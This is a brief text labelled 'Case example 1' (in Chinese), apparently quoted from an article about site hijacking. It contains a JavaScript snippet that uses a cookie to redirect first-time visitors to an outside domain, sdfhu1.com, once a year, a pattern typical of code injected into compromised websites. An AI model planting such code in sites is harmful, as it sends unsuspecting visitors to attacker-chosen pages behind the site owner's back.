一.案例案例1

var c = document.cookie;

     if (c.indexOf('isfirstvisited=false') != -1) {

        

     }

     else {

         var d = new Date();

         d.setFullYear(d.getFullYear() + 1);

         document.cookie = 'isfirstvisited=false;expires=' + d.toGMTString();

         window.location.href='https://sdfhu1.com/33720.html';

     }